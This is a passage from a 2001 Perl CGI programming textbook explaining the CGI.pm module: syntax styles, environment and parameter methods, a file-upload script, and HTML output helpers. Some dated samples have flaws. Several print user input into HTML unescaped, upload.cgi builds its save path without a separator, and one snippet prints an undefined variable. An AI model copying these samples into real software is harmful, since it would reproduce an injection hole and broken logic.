There have also been some alternative, lightweight CGI modules written. One of the lightweight alternatives to CGI.pm was begun by David James; he got together with Lincoln Stein and the result is a new and improved version of CGI.pm that is even smaller, faster, and more modular than the original. It should be available as CGI.pm 3.0 by the time you read this book.

5.1.3. Standard and Object-Oriented Syntax

CGI.pm, like Perl, is powerful yet flexible. It supports two styles of usage: a standard interface and an object-oriented interface. Internally, it is a fully object-oriented module. Not all Perl programmers are comfortable with object-oriented notation, however, so those developers can instead request that CGI.pm make its subroutines available for the developer to call directly.

Here is an example. The object-oriented syntax looks like this:

use strict;
use CGI;

my $q    = new CGI;
my $name = $q->param( "name" );

print $q->header( "text/html" ),
      $q->start_html( "Welcome" ),
      $q->p( "Hi $name!" ),
      $q->end_html;

The standard syntax looks like this:

use strict;
use CGI qw( :standard );

my $name = param( "name" );

print header( "text/html" ),
      start_html( "Welcome" ),
      p( "Hi $name!" ),
      end_html;

Don't worry about the details of what the code does right now; we will cover all of it during this chapter. The important thing to notice is the different syntax. The first script creates a CGI.pm object and stores it in $q ($q is short for query and is a common convention for CGI.pm objects, although $cgi is used sometimes, too). Thereafter, all the CGI.pm functions are preceded by $q->. The second asks CGI.pm to export the standard functions and simply uses them directly. CGI.pm provides several predefined groups of functions, like :standard , that can be exported into your CGI script.

The standard CGI.pm syntax certainly has less noise. It doesn't have all those $q-> prefixes. Aesthetics aside, however, there are good arguments for using the object oriented syntax with CGI.pm.

Exporting functions has its costs. Perl maintains a separate namespace for different chunks of code referred to as packages. Most modules, like CGI.pm, load themselves into their own package. Thus, the functions and variables that modules see are different from the modules and variables you see in your scripts. This is a good thing, because it prevents collisions between variables and functions in different packages that happen to have the same name. When a module exports symbols (whether they are variables or functions), Perl has to create and maintain an alias of each of the these symbols in your program's namespace, the main namespace. These aliases consume memory. This memory usage becomes especially critical if you decide to use your CGI scripts with FastCGI or mod_perl.

The object-oriented syntax also helps you avoid any possible collisions that would occur if you create a subroutine with the same name as one of CGI.pm's exported subroutines. Also, from a maintenance standpoint, it is clear from looking at the object-oriented script where the code for the header function is: it's a method of a CGI.pm object, so it must be in the CGI.pm module (or one of its associated modules). Knowing where to look for the header function in the second example is much more difficult, especially if your CGI scripts grow large and complex.

Some people avoid the object-oriented syntax because they believe it is slower. In Perl, methods typically are slower than functions. However, CGI.pm is truly an object-oriented module at heart, and in order to provide the function syntax, it must do some fancy footwork to manage an object for you internally. Thus with CGI.pm, the object-oriented syntax is not any slower than the function syntax. In fact, it can be slightly faster.

We will use CGI.pm's object-oriented syntax in most of our examples.

Previous | Home | Next
4.3. Decoding Form Input | Book Index | 5.2. Handling Input with CGI.pm
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Handling Input with CGI.pm (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

5.2. Handling Input with CGI.pm

CGI.pm primarily handles two separate tasks: it reads and parses input from the user, and it provides a convenient way to return HTML output. Let's first look at how it collects input.

5.2.1. Environment Information

CGI.pm provides many methods to get information about your environment. Of course, when you use CGI.pm, all of your standard CGI environment variables are still available in Perl's %ENV hash, but CGI.pm also makes most of these available via method calls. It also provides some unique methods. Table 5-1 shows how CGI.pm's functions correspond to the standard CGI environment variables.

Table 5-1. CGI.pm Environment Methods and CGI Environment Variables

CGI.pm Method | CGI Environment Variable
auth_type | AUTH_TYPE
Not available | CONTENT_LENGTH
content_type | CONTENT_TYPE
Not available | DOCUMENT_ROOT
Not available | GATEWAY_INTERFACE
path_info | PATH_INFO
path_translated | PATH_TRANSLATED
query_string | QUERY_STRING
remote_addr | REMOTE_ADDR
remote_host | REMOTE_HOST
remote_ident | REMOTE_IDENT
remote_user | REMOTE_USER
request_method | REQUEST_METHOD
script_name | SCRIPT_NAME
self_url | Not available
server_name | SERVER_NAME
server_port | SERVER_PORT
server_protocol | SERVER_PROTOCOL
server_software | SERVER_SOFTWARE
url | Not available
Accept | HTTP_ACCEPT
http("Accept-charset") | HTTP_ACCEPT_CHARSET
http("Accept-encoding") | HTTP_ACCEPT_ENCODING
http("Accept-language") | HTTP_ACCEPT_LANGUAGE
raw_cookie | HTTP_COOKIE
http("From") | HTTP_FROM
virtual_host | HTTP_HOST
referer | HTTP_REFERER
user_agent | HTTP_USER_AGENT
https | HTTPS
https("Cipher") | HTTPS_CIPHER
https("Keysize") | HTTPS_KEYSIZE
https("SecretKeySize") | HTTPS_SECRETKEYSIZE

Most of these CGI.pm methods take no arguments and return that same value as the corresponding environment variable. For example, to get the additional path information passed to your CGI script, you can use the following method:

my $path = $q->path_info;

This is the same information that you could also get this way:

my $path = $ENV{PATH_INFO};

However, a few methods differ or have features worth noting. Let's take a look at these.

5.2.1.1. Accept

As a general rule, if a CGI.pm method has the same name as a built-in Perl function or keyword (e.g., accept or tr), then the CGI.pm method is capitalized. Although there would be no collision if CGI.pm were available only via an object-oriented syntax, the collision creates problem for people who use it via the standard syntax. accept was originally lowercase, but it was renamed to Accept in version 2.44 of CGI.pm, and the new name affects both syntaxes.

Unlike the other methods that take no arguments and simply return a value, Accept can also be given a content type and it will evaluate to true or false depending on whether that content type is acceptable according to the HTTP-Accept header:

if ( $q->Accept( "image/png" ) ) {
    .
    .
    .

Keep in mind that most browsers today send */* in their Accept header. This matches anything, so using the Accept method in this manner is not especially useful. For new file formats like image/png, it is best to get the values for the HTTP header and perform the check yourself, ignoring wildcard matches (this is unfortunate, since it defeats the purpose of wildcards):

my @accept = $q->Accept;
if ( grep $_ eq "image/png", @accept ) {
    .
    .
    .

5.2.1.2. http

If the http method is called without arguments, it returns the name of the environment variables available that contain an HTTP_ prefix. If you call http with an argument, then it will return the value of the corresponding HTTP_ environment variable. When passing an argument to http, the HTTP_ prefix is optional, capitalization does not matter, and hyphens and underscores are interpreted the same. In other words, you can pass the actual HTTP header field name or the environment variable name or even some hybrid of the two, and http will generally figure it out. Here is how you can display all the HTTP_ environment variables your CGI script receives:

#!/usr/bin/perl -wT

use strict;
use CGI;

my $q = new CGI;
print $q->header( "text/plain" );

print "These are the HTTP environment variables I received:\n\n";

foreach ( $q->http ) {
    print "$_:\n";
    print "  ", $q->http( $_ ), "\n";
}

5.2.1.3. https

The https method functions similarly to the http method when it is passed a parameter. It returns the corresponding HTTPS_ environment variable. These variables are set by your web server only if you are receiving a secure request via SSL. When https is called without arguments, it returns the value of the HTTPS environment variable, which indicates whether the connection is secure (its values are server-dependent).

5.2.1.4. query_string

The query_string method does not do what you might think since it does not correspond one-to-one with $ENV{QUERY_STRING}. $ENV{QUERY_STRING} holds the query portion of the URL that called your CGI script. query_string, on the other hand, is dynamic, so if you modify any of the query parameters in your script (see Section 5.2.2.1, "Modifying parameters" later in this chapter), then the value returned by query_string will include these new values. If you want to know what the original query string was, then you should refer to $ENV{QUERY_STRING} instead.

Also, if the request method is POST, then query_string returns the POST parameters that were submitted in the content of the request, and ignores any parameters passed to the CGI script via the query string. This means that if you create a form that submits its values via POST to a URL that also contains a query string, you will not be able to access the parameters on the query string via CGI.pm unless you make a slight modification to CGI.pm to tell it to include parameters from the original query string with POST requests. We'll see how to do this in Section 5.2.2.2, "POST and the query string" later in this chapter.

5.2.1.5. self_url

This method does not correspond to a standard CGI environment variable, although you could manually construct it from other environment variables. It provides you with a URL that can call your CGI with the same parameters. The path information is maintained and the query string is set to the value of the query_string method.

Note that this URL is not necessarily the same URL that was used to call your CGI script. Your CGI script may have been called because of an internal redirection by the web server. Also, because all of the parameters are moved to the query string, this new URL is built to be used with a GET request, even if the current request was a POST request.

5.2.1.6. url

The url method functions similarly to the self_url method, except that it returns a URL to the current CGI script without any parameters, i.e., no path information and an empty query string.

5.2.1.7. virtual_host

The virtual_host method is handy because it returns the value of the HTTP_HOST environment variable, if set, and SERVER_NAME otherwise. Remember that HTTP_HOST is the name of the web server as the browser referred to it, which may differ if multiple domains share the same IP address. HTTP_HOST is available only if the browser supplied the Host HTTP header, added for HTTP 1.1.

5.2.2. Accessing Parameters

param is probably the most useful method CGI.pm provides. It allows you to access the parameters submitted to your CGI script, whether these parameters come to you via a GET request or a POST request. If you call param without arguments, it will return a list of all of the parameter names your script received. If you provide a single argument to it, it will return the value for the parameter with that name. If no parameter with that name was submitted to your script, it returns undef.

It is possible for your CGI script to receive multiple values for a parameter with the same name. This happens when you create two form elements with the same name or you have a select box that allows multiple selections. In this case, param returns a list of all of the values if it is called in a list context and just the first value if it is called in a scalar context. This may sound a little complicated, but in practice it works such that you should end up with what you expect. If you ask param for one value, you will get one value (even if other values were also submitted), and if you ask it for a list, you will always get a list (even if the list contains only one element).

Example 5-1 is a simple example that displays all the parameters your script receives.

Example 5-1. param_list.cgi

#!/usr/bin/perl -wT

use strict;
use CGI;

my $q = new CGI;
print $q->header( "text/plain" );

print "These are the parameters I received:\n\n";

my( $name, $value );

foreach $name ( $q->param ) {
    print "$name:\n";
    foreach $value ( $q->param( $name ) ) {
        print "  $value\n";
    }
}

If you call this CGI script with multiple parameters, like this:

http://localhost/cgi/param_list.cgi?color=red&color=blue&shade=dark

you will get the following output:

These are the parameters I received:

color:
  red
  blue
shade:
  dark

5.2.2.1. Modifying parameters

CGI.pm also lets you add, modify, or delete the value of parameters within your script. To add or modify a parameter, just pass param more than one argument. Using Perl's => operator instead of a comma makes the code easier to read and allows you to omit the quotes around the parameter name, so long as it's a word (i.e., only contains includes letters, numbers, and underscores) that does not conflict with a built-in function or keyword:

$q->param( title => "Web Developer" );

You can create a parameter with multiple values by passing additional arguments:

$q->param( hobbies => "Biking", "Windsurfing", "Music" );

To delete a parameter, use the delete method and provide the name of the parameter:

$q->delete( "age" );

You can clear all of the parameters with delete_all :

$q->delete_all;

It may seem odd that you would ever want to modify parameters yourself, since these will typically be coming from the user. Setting parameters is useful for many reasons, but especially when assigning default values to fields in forms. We will see how to do this later in this chapter.

5.2.2.2. POST and the query string

param automatically determines if the request method is POST or GET. If it is POST, it reads any parameters submitted to it from STDIN. If it is GET, it reads them from the query string. It is possible to POST information to a URL that already has a query string. In this case, you have two souces of input data, and because CGI.pm determines what to do by checking the request method, it will ignore the data in the query string.

You can change this behavior if you are willing to edit CGI.pm. In fact, CGI.pm includes comments to help you do this. You can find this block of code in the init subroutine (the line number will vary depending on the version of CGI.pm you have):

if ($meth eq 'POST') {
    $self->read_from_client(\*STDIN,\$query_string,$content_length,0)
        if $content_length > 0;
    # Some people want to have their cake and eat it too!
    # Uncomment this line to have the contents of the query string
    # APPENDED to the POST data.
    # $query_string .= (length($query_string) ? '&' : '') . $ENV{'QUERY_STRING'}
             if defined $ENV{'QUERY_STRING'};
    last METHOD;
}

By removing the pound sign from the beginning of the line indicated, you will be able to use POST and query string data together. Note that the line you would need to uncomment is too long to display on one line in this text, so it has been wrapped to the next line, but it is just one line in CGI.pm.

5.2.2.3. Index queries

You may receive a query string that contains words that do not comprise name-value pairs. The <ISINDEX> HTML tag, which is not used much anymore, creates a single text field along with a prompt to enter search keywords. When a user enters words into this field and presses Enter, it makes a new request for the same URL, adding the text the user entered as the query string with keywords separated by a plus sign (+), such as this:

http://www.localhost.com/cgi/lookup.cgi?cgi+perl

You can retrieve the list of keywords that the user entered by calling param with "keywords" as the name of the parameter or by calling the separate keywords method:

my @words = $q->keywords;            # these lines do the same thing
my @words = $q->param( "keywords" );

These methods return index keywords only if CGI.pm finds no name-value pair parameters, so you don't have to worry about using "keywords" as the name of an element in your HTML forms; it will work correctly. On the other hand, if you want to POST form data to a URL with a keyword, CGI.pm cannot return that keyword to you. You must use $ENV{QUERY_STRING} to get it.

5.2.2.4. Supporting image buttons as submit buttons

Whether you use <INPUT TYPE="IMAGE" > or <INPUT TYPE="SUBMIT">, the form is still sent to the CGI script. However, with the image button, the name is not transmitted by itself. Instead, the web browser splits an image button name into two separate variables: name.x and name.y.

If you want your program to support image and regular submit buttons interchangeably, it is useful to translate the image button names to normal submit button names. Thus, the main program code can use logic based upon which submit button was clicked even if image buttons later replace them.

To accomplish this, we can use the following code that will set a form variable without the coordinates in the name for each variable that ends in ".x":

foreach ( $q->param ) {
    $q->param( $1, 1 ) if /(.*)\.x/;
}

5.2.3. Exporting Parameters to a Namespace

One of the problems with using a method to retrieve the value of a parameter is that it is more work to embed the value in a string. If you wish to print the value of someone's input, you can use an intermediate variable:

my $name = $q->param( 'user' );
print "Hi, $user!";

Another way to do this is via an odd Perl construct that forces the subroutine to be evaluated as part of an anonymous list:

print "Hi, @{[ $q->param( 'user' ) ]}!";

The first solution is more work and the second can be hard to read. Fortunately, there is a better way. If you know that you are going to need to refer to many output values in a string, you can import all the parameters as variables to a specified namespace:

$q->import_names( "Q" );
print "Hi, $Q::user!";

Parameters with multiple values become arrays in the new namespace, and any characters in a parameter name other than a letter or number become underscores. You must provide a namespace and cannot pass "main", the default namespace, because that might create security risks.

The price you pay for this convenience is increased memory usage because Perl must create an alias for each parameter.

5.2.4. File Uploads with CGI.pm

As we mentioned in the last chapter, it is possible to create a form with a multipart/form-data media type that permits users to upload files via HTTP. We avoided discussing how to handle this type of input then because handling file uploads properly can be quite complex. Fortunately, there's no need for us to do this because, like other form input, CGI.pm provides a very simple interface for handling file uploads.

You can access the name of an uploaded file with the param method, just like the value of any other form element. For example, if your CGI script were receiving input from the following HTML form:

<FORM ACTION="/cgi/upload.cgi" METHOD="POST" ENCTYPE="multipart/form-data">
  <P>Please choose a file to upload:
  <INPUT TYPE="FILE" NAME="file">
  <INPUT TYPE="SUBMIT">
</FORM>

then you could get the name of the uploaded file this way, by referring to the name of the <FILE> input element, in this case "file":

my $file = $q->param( "file" );

The name you receive from this parameter is the name of the file as it appeared on the user's machine when they uploaded it. CGI.pm stores the file as a temporary file on your system, but the name of this temporary file does not correspond to the name you get from this parameter. We will see how to access the temporary file in a moment.

The name supplied by this parameter varies according to platform and browser. Some systems supply just the name of the uploaded file; others supply the entire path of the file on the user's machine. Because path delimiters also vary between systems, it can be a challenge determining the name of the file. The following command appears to work for Windows, Macintosh, and Unix-compatible systems:

my( $file ) = $q->param( "file" ) =~ m|([^/:\\]+)$|;

However, it may strip parts of filenames, since "report 11/3/99" is a valid filename on Macintosh systems and the above command would in this case set $file to "99". Another solution is to replace any characters other than letters, digits, underscores, dashes, and periods with underscores and prevent any files from beginning with periods or dashes:

my $file = $q->param( "file" );
$file =~ s/([^\w.-])/_/g;
$file =~ s/^[-.]+//;

The problem with this is that Netscape's browsers on Windows sends the full path to the file as the filename. Thus, $file may be set to something long and ugly like "C_ _ _Windows_Favorites_report.doc".

You could try to sort out the behaviors of the different operating systems and browsers, check for the user's browser and operating system, and then treat the filename appropriately, but that would be a very poor solution. You are bound to miss some combinations, you would constantly need to update it, and one of the greatest advantages of the Web is that it works across platforms; you should not build any limitations into your solutions.

So the simple, obvious solution is actually nontechnical. If you do need to know the name of the uploaded file, just add another text field to the form allowing the user to enter the name of the file they are uploading. This has the added advantage of allowing a user to provide a different name than the file has, if appropriate. The HTML form looks like this:

<FORM ACTION="/cgi/upload.cgi" METHOD="POST" ENCTYPE="multipart/form-data">
  <P>Please choose a file to upload:
  <INPUT TYPE="FILE" NAME="file">
  <P>Please enter the name of this file:
  <INPUT TYPE="TEXT" NAME="filename">
</FORM>

You can then get the name from the text field, remembering to strip out any odd characters:

my $filename = $q->param( "filename" );
$filename =~ s/([^\w.-])/_/g;
$filename =~ s/^[-.]+//;

So now that we know how to get the name of the file uploaded, let's look at how we get at the content. CGI.pm creates a temporary file to store the contents of the upload; you can get a file handle for this file by passing the name of the file according to the file element to the upload method as follows:

my $file = $q->param( "file" );
my $fh   = $q->upload( $file );

The upload method was added to CGI.pm in Version 2.47. Prior to this you could use the value returned by param (in this case $file) as a file handle in order to read from the file; if you use it as a string it returns the name of the file. This actually still works, but there are conflicts with strict mode and other problems, so upload is the preferred way to get a file handle now. Be sure that you pass upload the name of the file according to param, and not a different name (e.g., the name the user supplied, the name with nonalphanumeric characters replaced with underscores, etc.).

Note that transfer errors are much more common with file uploads than with other forms of input. If the user presses the Stop button in the browser as the file is uploading, for example, CGI.pm will receive only a portion of the uploaded file. Because of the format of multipart/form-data requests, CGI.pm will recognize that the transfer is incomplete. You can check for errors such as this by using the cgi_error method after creating a CGI.pm object. It returns the HTTP status code and message corresponding to the error, if applicable, or an empty string if no error has occurred. For instance, if the Content-length of a POST request exceeds $CGI::POST_MAX, then cgi_error will return "413 Request entity too large". As a general rule, you should always check for an error when you are recording input on the server. This includes file uploads and other POST requests. It doesn't hurt to check for an error with GET requests either.

Example 5-2 provides the complete code, with error checking, to receive a file upload via our previous HTML form.

Example 5-2. upload.cgi

#!/usr/bin/perl -wT

use strict;
use CGI;
use Fcntl qw( :DEFAULT :flock );

use constant UPLOAD_DIR     => "/usr/local/apache/data/uploads";
use constant BUFFER_SIZE    => 16_384;
use constant MAX_FILE_SIZE  => 1_048_576;       # Limit each upload to 1 MB
use constant MAX_DIR_SIZE   => 100 * 1_048_576; # Limit total uploads to 100 MB
use constant MAX_OPEN_TRIES => 100;

$CGI::DISABLE_UPLOADS   = 0;
$CGI::POST_MAX          = MAX_FILE_SIZE;

my $q = new CGI;
$q->cgi_error and error( $q, "Error transferring file: " . $q->cgi_error );

my $file      = $q->param( "file" )     || error( $q, "No file received." );
my $filename  = $q->param( "filename" ) || error( $q, "No filename entered." );
my $fh        = $q->upload( $file );
my $buffer    = "";

if ( dir_size( UPLOAD_DIR ) + $ENV{CONTENT_LENGTH} > MAX_DIR_SIZE ) {
    error( $q, "Upload directory is full." );
}

# Allow letters, digits, periods, underscores, dashes
# Convert anything else to an underscore
$filename =~ s/[^\w.-]/_/g;
if ( $filename =~ /^(\w[\w.-]*)/ ) {
    $filename = $1;
}
else {
    error( $q, "Invalid file name; files must start with a letter or number." );
}

# Open output file, making sure the name is unique
until ( sysopen OUTPUT, UPLOAD_DIR . $filename, O_CREAT | O_EXCL ) {
    $filename =~ s/(\d*)(\.\w+)$/($1||0) + 1 . $2/e;
    $1 >= MAX_OPEN_TRIES and error( $q, "Unable to save your file." );
}

# This is necessary for non-Unix systems; does nothing on Unix
binmode $fh;
binmode OUTPUT;

# Write contents to output file
while ( read( $fh, $buffer, BUFFER_SIZE ) ) {
    print OUTPUT $buffer;
}

close OUTPUT;

sub dir_size {
    my $dir = shift;
    my $dir_size = 0;

    # Loop through files and sum the sizes; doesn't descend down subdirs
    opendir DIR, $dir or die "Unable to open $dir: $!";
    while ( readdir DIR ) {
        $dir_size += -s "$dir/$_";
    }
    return $dir_size;
}

sub error {
    my( $q, $reason ) = @_;

    print $q->header( "text/html" ),
          $q->start_html( "Error" ),
          $q->h1( "Error" ),
          $q->p( "Your upload was not procesed because the following error ",
                 "occured: " ),
          $q->p( $q->i( $reason ) ),
          $q->end_html;
    exit;
}

We start by creating several constants to configure this script. UPLOAD_DIR is the path to the directory where we will store uploaded files. BUFFER_SIZE is the amount of data to read into memory while transferring from the temporary file to the output file. MAX_FILE_SIZE is the maximum file size we will accept; this is important because we want to limit users from uploading gigabyte-sized files and filling up all of the server's disk space. MAX_DIR_SIZE is the maximum size that we will allow our upload directory to grow to. This restriction is as important as the last because users can fill up our disks by posting lots of small files just as easily as posting large files. Finally, MAX_OPEN_TRIES is the number of times we try to generate a unique filename and open that file before we give up; we'll see why this step is necessary in a moment.

First, we enable file uploads, then we set $CGI::POST_MAX to MAX_FILE_SIZE. Note $CGI::POST_MAX is actually the size of the entire content of the request, which includes the data for other form fields as well as overhead for the multipart/form-data encoding, so this value is actually a little larger than the maximum file size that the script will actually accept. For this form, the difference is minor, but if you add a file upload field to a complex form with multiple text fields, then you should keep this distinction in mind.

We then create a CGI object and check for errors. As we said earlier, errors with file uploads are much more common than with other forms of CGI input. Next we get the file's upload name and the filename the user provided, reporting errors if either of these is missing. Note that a user may be rather upset to get a message saying that the filename is missing after uploading a large file via a modem. There is no way to interrupt that transfer, but in a production application, it might be more user-friendly to save the unnamed file temporarily, prompt the user for a filename, and then rename the file. Of course, you would then need periodically clean up temporary files that were abandoned.

We get a file handle, $fh, to the temporary file where CGI.pm has stored the input. We check whether our upload directory is full and report an error if this is the case. Again, this message is likely to create some unhappy users. In a production application you should add code to notify an administrator who can see why the upload directory is full and resolve the problem. See Chapter 9, "Sending Email".

Next, we replace any characters in the filename the user supplied that may cause problems with an underscore and make sure the name doesn't start with a period or a dash. The odd construct that reassigns the result of the regular expression to $filename untaints that variable. We'll discuss tainting and why this is important in Chapter 8, "Security". We confirm again that $filename is not empty (which would happen if it had consisted of nothing but periods and/or dashes) and generate an error if this is the case.

We try to open a file with this name in our upload directory. If we fail, then we add a digit to $filename and try again. The regular expression allows us to keep the file extension the same: if there is already a report.txt file, then the next upload with that name will be named report1.txt, the next one report2.txt, etc. This continues until we exceed MAX_OPEN_TRIES . It is important that we create a limit to this loop because there may be a reason other than a non-unique name that prevents us from saving the file. If the disk is full or the system has too many open files, for example, we do not want to start looping endlessly. This error should also notify an administrator that something is wrong.

This script is written to handle any type of file upload, including binary files such as images or audio. By default, whenever Perl accesses a file handle on non-Unix systems (more specifically, systems that do not use \n as their end of line character), Perl translates the native operating system's end of line characters, such as \r\n for Windows or \r for MacOS, to \n on input and back to the native characters on output. This works great for text files, but it can corrupt binary files. Thus, we enable binary mode with the binmode function in order to disable this translation. On systems, like Unix, where no end of line translation occurs, binmode has no effect.

Finally, we read from our temporary file handle and write to our output file and exit. We use the read function to read and write a chunk a data at a time. The size of this chunk is defined by our BUFFER_SIZE constant. In case you are wondering, CGI.pm will remove its temporary file automatically when our script exits (technically, when $q goes out of scope).

There is another way we could have moved the file to our uploads directory. We could use CGI.pm's undocumented tmpFileName method to get the name of the temporary file containing the upload and then used Perl's rename function to move the file. However, relying on undocumented code is dangerous, because it may not be compatible with future versions of CGI.pm. Thus, in our example we stick to the public API instead.

The dir_size subroutine calculates the size of a directory by summing the size of each of its files. The error subroutine prints a message telling the user why the transfer failed. In a production application, you probably want to provide links for the user to get help or to notify someone about problems.

Previous | Home | Next
5. CGI.pm | Book Index | 5.3. Generating Output with CGI.pm
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Generating Output with CGI.pm (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

5.3. Generating Output with CGI.pm

CGI.pm provides a very elegant solution for outputting both headers and HTML with Perl. It allows you to embed HTML in your code, but it makes this more natural by turning the HTML into code. Every HTML element can be generated via a corresponding method in CGI.pm. We have already seen some examples of this already, but here's another:

#!/usr/bin/perl -wT

use strict;
use CGI;

my $q = new CGI;
my $timestamp = localtime;

print $q->header( "text/html" ),
      $q->start_html( -title => "The Time", -bgcolor => "#ffffff" ),
      $q->h2( "Current Time" ),
      $q->hr,
      $q->p( "The current time according to this system is: ",
             $q->b( $timestamp ) ),
      $q->end_html;

The resulting output looks like this (the indentation is added to make it easier to read):

Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
  <HEAD><TITLE>The Time</TITLE></HEAD>
  <BODY BGCOLOR="#ffffff">
    <H2>Current Time</H2>
    <HR>
    <P>The current time according to this system is:
      <B>Mon May 29 16:48:14 2000</B></P>
  </BODY>
</HTML>

As you can see, the code looks a lot like Perl and a lot less like HTML. It is also shorter than the corresponding HTML because CGI.pm manages some common tags for us. Another benefit is that it is impossible to forget to close a tag because the methods automatically generate closing tags (except for those elements that CGI.pm knows do not need them, like <HR>).

We'll look at all of these output methods in this section, starting with the first method, header.

5.3.1. Controlling HTTP Headers with CGI.pm

CGI.pm has two methods for returning HTTP headers: header and redirect. They correspond to the two ways you can return data from CGI scripts: you can return a document, or you can redirect to another document.

5.3.1.1. Media type

The header method handles multiple HTTP headers for you. If you pass it one argument, it returns the Content-type header with that value. If you do not supply a media type, it defaults to "text/html". Although CGI.pm makes outputting HTML much easier, you can of course print any content type with it. Simply use the header method to specify the media type and then print your content, whether it be text, XML, Adobe PDF, etc.:

print $q->header( "text/plain" );
print "This is just some boring text.\n";

If you want to set other headers, then you need to pass name-value pairs for each header. Use the -type argument to specify the media type (see the example under Section 5.3.1.2, "Status" later in this chapter).

5.3.1.2. Status

You can specify a status other than "200 OK" by using the -status argument:

print $q->header( -type => "text/html", -status => "404 Not Found" );

5.3.1.3. Caching

Browsers can't always tell if content is being dynamically generated by CGI or if it is coming from a static source, and they may try to cache the output of your script. You can disable this or request caching if you want it, by using the -expires argument. You can supply either a full time stamp with this argument or a relative time. Relative times are created by supplying a plus or minus sign for forward or backward, an integer number, and a one letter abbreviation for second, minute, hour, day, month, or year (each of these abbreviations is lowercase except for month, which is an uppercase M). You can also use "now" to indicate that a document should expire immediately. Specifying a negative value also has this effect.

This example tells the browser that this document is good for the next 30 minutes:

print $q->header( -type => "text/html", -expires => "+30m" );

5.3.1.4. Specifying an alternative target

If you are using frames or have multiple windows, you may want links in one document to update another document. You can use the -target argument along with the name of the other document (as set by a <FRAMESET> tag or by JavaScript) to specify that clicking on a link in this document should cause the new resource to load in the other frame (or window):

print $q->header( -type => "text/html", -target => "main_frame" );

This argument is only meaningful for HTML documents.

5.3.1.5. Redirection

If you need to redirect to another URL, you can use the redirect method instead of printing the Location HTTP header:

print $q->redirect( "http://localhost/survey/thanks.html" );

Although the term "redirect" is an action, this method does not perform a redirect for you; it simply returns the corresponding header. So don't forget you still need to print the result!

5.3.1.6. Other headers

If you need to generate other HTTP headers, you can simply pass the name-value pair to header and it will return the header with the appropriate formatting. Underscores are converted to hyphens for you.

Thus, the following statement:

print $q->header( -content_encoding  => "gzip" );

produces the following output:

Content-encoding: gzip

5.3.2. Starting and Ending Documents

Now let's look at the methods that you can use to generate HTML. We'll start by looking at the methods for starting and ending documents.

5.3.2.1. start_html

The start_html method returns the HTML DTD, the <HTML> tag, the <HEAD> section including <TITLE>, and the <BODY> tag. In the previous example, it generates HTML like the following:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML><HEAD><TITLE>The Time</TITLE>
</HEAD><BODY BGCOLOR="#ffffff">

The most common arguments start_html recognizes are as follows:

  • Setting the -base argument to a true value tells CGI.pm to include a <BASE HREF="url"> tag in the head of your document that points to the URL of your script.

  • The -meta argument accepts a reference to a hash containing the name and content of meta tags that appear in the head of your document.

  • The -script argument allows you to add JavaScript to the head of your document. You can either provide a string containing the JavaScript code or a reference to a hash containing -language, -src, and -code as possible keys. This allows you to specify the language and source attributes of the <SCRIPT> tag too. CGI.pm automatically provides comment tags around the code to protect it from browsers that do not recognize JavaScript.

  • The -noscript argument allows you to specify HTML display if the browser does not support JavaScript. It is inserted into the head of your document.

  • The -style argument allows you to define a style sheet for the document. Like -script, you may either specify a string or a reference to a hash. The keys that -style accepts in the hash are -code and -src. The value of -code will be inserted into the document as style sheet information. The value of -src will be a URL to a .css file. CGI.pm automatically provides comment tags around the code to protect cascading style sheets from browsers that do not recognize them.

  • The -title argument sets the title of the HTML document.

  • The -xbase argument lets you specify a URL to use in the <BASE HREF="url"> tag. This is different from the -base argument that also generates this tag but sets it to the URL of the current CGI script.

Any other arguments, like -bgcolor, are passed as attributes to the <BODY> tag.

5.3.2.2. end_html

The end_html method returns the </BODY> and </HTML> tags.

5.3.3. Standard HTML Elements

HTML elements can be generated by using the lowercase name of the element as a method, with the following exceptions: Accept, Delete, Link, Param, Select, Sub, and Tr. These methods have an initial cap to avoid conflicting with built-in Perl functions and other CGI.pm methods.

The following rules apply to basic HTML tags:

  • CGI.pm recognizes that some elements, like <HR> and <BR>, do not have closing tags. These methods take no arguments and return the single tag:

    print $q->hr;

    This outputs:

    <HR>

  • If you provide one argument, it creates an opening and closing tag to enclose the text of your argument. Tags are capitalized:

    print $q->p( "This is a paragraph." );

    This prints the text:

    <P>This is a paragraph.</P>

  • If you provide multiple arguments, these are simply joined with the tags at the beginning and the end:

    print $q->p( "The server name is:", $q->server_name );

    This prints the text:

    <P>The server name is: localhost</P>

    This usage makes it easy to nest elements:

    print $q->p( "The server name is:", $q->em( $q->server_name ) );

    This prints the text:

    <P>The server name is: <EM>localhost</EM></P>

    Note that a space is automatically added between each list element. It appears after the colon in these examples. If you wish to print multiple items in a list without intervening spaces, then you must set Perl's list separator variable, $", to an empty string:

    {
  local $" = "";
  print $q->p( "Server=", $q->server_name );
}

    This prints the text:

    <P>Server=Apache/1.3.9</P>

    Note that whenever you change global variables like $", you should localize them by enclosing them in blocks and using Perl's local function.

  • If the first argument is a reference to a hash, then the hash elements are interpreted as attributes for the HTML element:

    print $q->a( { -href => "/downloads" }, "Download Area" );

    This prints the text:

    <A HREF="/downloads" >Download Area</A>

    You can specify as many attributes as you want. The leading hyphen as part of the attribute name is not required, but it is the standard convention.

    Some attributes do not take arguments and simply appear as a word. For these, pass undef as the value of the attribute. Prior to version 2.41 of CGI.pm, passing an empty string would accomplish the same thing, but that was changed so that people could explicitly request an attribute set to an empty string (e.g., <IMG HREF="spacer.gif" ALT="">).

  • If you provide a reference to an array as an argument, the tag is distributed across each item in the array:

    print $q->ol( $q->li( [ "First", "Second", "Third" ] ) );

    This corresponds to:

    <OL>
  <LI>First</LI>
  <LI>Second</LI>
  <LI>Third</LI>
</OL>

    This still works fine when the first argument is a reference to a hash arguments. Here is a table:

    print $q->table(
                 { -border => 1,
                   -width  => "100%" },
                 $q->Tr( [
                           $q->th( { -bgcolor => "#cccccc" },
                                   [ "Name", "Age" ] ),
                           $q->td( [ "Mary", 29 ] ),
                           $q->td( [ "Bill", 27 ] ),
                           $q->td( [ "Sue",  26 ] )
                       ] )
               );

    This corresponds to:

    <TABLE BORDER="1" WIDTH="100%">
  <TR>
    <TH BGCOLOR="#cccccc">Name</TH>
    <TH BGCOLOR="#cccccc">Age</TH>
  </TR>
  <TR>
    <TD>Mary</TD>
    <TD>29</TD>
  </TR>
  <TR>
    <TD>Bill</TD>
    <TD>27</TD>
  </TR>
